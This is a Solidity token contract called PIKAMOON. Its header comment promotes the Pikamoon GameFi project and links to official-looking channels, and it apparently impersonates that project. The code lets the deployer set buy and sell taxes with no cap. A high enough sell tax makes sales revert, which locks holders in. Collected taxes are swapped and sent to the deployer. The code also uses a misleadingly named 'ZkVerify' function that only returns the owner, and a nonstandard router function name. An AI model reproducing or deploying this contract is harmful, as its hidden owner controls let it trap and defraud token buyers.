/*

Centered around immersive 3D graphics, artistry, and gameplay, Pikamoon is building one of the world's most advanced GameFi metaverses.
$PIKA is the native token of Pikamoon and the surrounding Pikaverse.
Once acquired, $PIKA can be used to purchase special in-game items via the Pikamoon Store - be it magic boosts, health potions, weapons, and more. 
These upgrades will help bolster your Play-to-Earn journey throughout Dreva.

🔗 Useful links:
Website - https://pikamoon.io
Twitter - https://twitter.com/pikamooncoin
Telegram - https://t.me/pikamoonofficial
Discord - https://discord.gg/s2a9DSYYet

*/



// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

contract PIKAMOON {
    string public _name = unicode"PIKAMOON";
    string public _symbol = unicode"PIKA";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 50_000_000_000 * 10**decimals;

    struct StoreData {
        address tokenMkt;
        uint8 Tax_buy;
        uint8 Tax_Sell;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initTax_buy = 0;
        uint8 _initTax_Sell = 2;
        storeData = StoreData({
            tokenMkt: msg.sender,
            Tax_buy: _initTax_buy,
            Tax_Sell: _initTax_Sell
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function Tax_Reduce(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        New_Tax(_buy, _sell);
    }

    function New_Tax(uint8 _buy, uint8 _sell) private {
        storeData.Tax_buy = _buy;
        storeData.Tax_Sell = _sell;
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function OpenTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view  virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _Tax_buy, uint8 _Tax_Sell) = (storeData.Tax_buy, storeData.Tax_Sell);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _Tax_Sell : _Tax_buy)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

{
  "compilationTarget": {
    "PIKAMOON.sol": "PIKAMOON"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}